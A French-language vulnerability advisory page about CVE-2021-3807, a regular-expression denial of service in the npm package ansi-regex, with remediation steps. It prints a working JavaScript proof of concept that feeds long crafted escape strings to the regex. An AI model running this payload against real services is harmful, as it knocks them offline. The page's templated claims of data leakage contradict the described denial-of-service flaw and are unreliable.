Connexion Inscription
JA · EN · FR
SecPulse
Catégories
CVE-2021-3807 high CVSS 7.5

Vulnérabilité dans ansi-regex (CVE-2021-3807)

Résumé

Vulnérabilité dans ansi-regex (CVE-2021-3807). Risque d'opérations non autorisées ou de divulgation.

Description d'origine

La description telle que publiée par la source (souvent en anglais).

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*

Source: OSV.dev (Open Source Vulnerabilities) NVD GitHub Advisory OSV

Résumé généré automatiquement

Assemblé par SecPulse à partir des données sources (CVSS, CWE, versions affectées) à l'aide de modèles, sans IA. Vérifiez la description d'origine et les références ci-dessous.

Une faille nommée CVE-2021-3807 a été découverte dans ansi-regex.
Gravité : Élevée (CVSS 7.5/10). Si elle est exploitée, elle peut provoquer une fuite de données ou un arrêt de service.
Ce que vous pouvez faire : mettez à jour le logiciel concerné. En cas de doute, contactez votre service informatique ou recherchez "ansi-regex CVE-2021-3807" sur le site de l'éditeur.

CVE-2021-3807 (ansi-regex). Gravité : Élevée / CVSSv3 7.5. Catégorie : CWE-1333.
Plan de réponse :

  1. Vérifier l'avis de l'éditeur (versions affectées, version corrigée).
  2. Si une version vulnérable tourne en production, planifier l'intervention (urgence selon KEV/CVSS).
  3. Sans correctif disponible, mitiger via règle WAF, désactivation de la fonctionnalité, etc.
  4. Surveiller les logs / SIEM pour les IOC et signatures de PoC connus.
    PoC et correctifs : voir la section « Références », MITRE et NVD.
❓ Quel est le problème

Une faille (CVE-2021-3807) dans ansi-regex. Une faille logicielle sérieuse a été identifiée.

📍 Périmètre concerné

Versions ciblées de ansi-regex (voir l'avis éditeur). Si en production, identifiez l'exposition immédiatement.

🔥 Gravité

Gravité : Élevée (CVSS 7.5/10). Si elle est exploitée, elle peut provoquer une fuite de données ou un arrêt de service.

🔧 Comment corriger

Appliquez la version corrigée indiquée dans l'avis éditeur. (Schéma de mitigation typique pour CWE-1333)

🛡️ Contournement

Si aucun correctif n'est disponible, désactivez la fonctionnalité concernée, appliquez des règles WAF, bloquez via ACL réseau ou isolez la version vulnérable.

🔍 Détection

Vérifiez les versions, analysez les dépendances via SBOM, et surveillez le SIEM pour les IOC et signatures de PoC associés.

Paquets affectés

npm ansi-regex
[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"3.0.1"}]}]

État des correctifs par distribution

Paquets corrigés publiés par chaque distribution pour cette CVE

Références

Nous utilisons des cookies pour l'analyse d'audience et la mesure publicitaire. Ce réglage s'applique à tous les sites de Game co., Ltd. En savoir plus